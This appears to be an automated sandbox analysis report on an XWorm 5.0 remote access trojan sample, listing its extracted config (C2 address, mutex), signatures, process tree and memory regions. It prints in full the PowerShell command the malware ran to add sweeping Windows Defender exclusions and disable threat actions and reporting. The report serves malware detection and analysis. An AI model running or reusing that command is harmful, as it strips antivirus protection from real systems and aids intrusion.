Analysis

  • max time kernel
    149s
  • max time network
    95s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    03/05/2026, 22:29

General

  • Target
    Client.exe
  • Size 36KB
  • Sample260503-2d99mac15p
  • SHA256 51f474976b30fa68716262f4183103205ecf1338223ec0a45377b00736265158
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • XSPY @YourMrSan:19870

Mutex
  • gruZDSFFizU3HGKV8+j2H==

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • UAC bypass
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Program Files'; Add-MpPreference -ExclusionPath 'C:\Windows\system32'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'; Add-MpPreference -ExclusionPath 'C:\Windows\System32\config'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\ProgramData'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\Client.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\System32\fodhelper.exe'; Add-MpPreference -ExclusionProcess 'powershell.exe'; Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionExtension '.bat'; Add-MpPreference -ExclusionExtension '.vbs'; Add-MpPreference -ExclusionExtension '.vbe'; Add-MpPreference -ExclusionExtension '.lnk'; Set-MpPreference -ScanScheduleDay 8; Set-MpPreference -HighThreatDefaultAction 6 -Force; Set-MpPreference -ModerateThreatDefaultAction 6; Set-MpPreference -LowThreatDefaultAction 6; Set-MpPreference -SevereThreatDefaultAction 6; Set-MpPreference -EnableFullScanOnBatteryPower $false; Set-MpPreference -MAPSReporting 0; Set-MpPreference -SubmitSamplesConsent 2; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableCatchupFullScan $true; Set-MpPreference -DisableCatchupQuickScan $true; Set-MpPreference -DisablePrivacyMode $false; Set-MpPreference -EnableLowCpuPriority $true"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:992

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_x5ipspq0.rc2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5ipspq0.rc2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/992-21-0x000001A66D590000-0x000001A66D59A000-memory.dmp

        memory/992-23-0x000001A66DAC0000-0x000001A66DACA000-memory.dmp

        memory/992-3-0x000001A66D4B0000-0x000001A66D4C0000-memory.dmp

        memory/992-9-0x000001A66D4C0000-0x000001A66D4E2000-memory.dmp

        memory/992-30-0x000001A66B370000-0x000001A66B490000-memory.dmp

        memory/992-11-0x000001A66D4B0000-0x000001A66D4C0000-memory.dmp

        memory/992-19-0x000001A66D570000-0x000001A66D58C000-memory.dmp

        memory/992-18-0x00007FF41BC20000-0x00007FF41BC30000-memory.dmp

        memory/992-20-0x000001A66D7B0000-0x000001A66D863000-memory.dmp

        memory/992-24-0x000001A66DB20000-0x000001A66DB3A000-memory.dmp

        memory/992-2-0x000001A66D4B0000-0x000001A66D4C0000-memory.dmp

        memory/992-22-0x000001A66DAE0000-0x000001A66DAFC000-memory.dmp

        memory/992-32-0x000001A66CF90000-0x000001A66CFA2000-memory.dmp

        memory/992-25-0x000001A66DAD0000-0x000001A66DAD8000-memory.dmp

        memory/992-26-0x000001A66DB00000-0x000001A66DB06000-memory.dmp

        memory/992-27-0x000001A66DB10000-0x000001A66DB1A000-memory.dmp

        memory/992-31-0x000001A66CDB0000-0x000001A66CDBC000-memory.dmp

        memory/3408-0-0x0000000000040000-0x0000000000050000-memory.dmp

        memory/3408-1-0x0000000000860000-0x0000000000870000-memory.dmp

        memory/3408-33-0x0000000000860000-0x0000000000870000-memory.dmp

        memory/3408-34-0x0000000000870000-0x000000000087C000-memory.dmp

        memory/3408-35-0x0000000000890000-0x0000000000899000-memory.dmp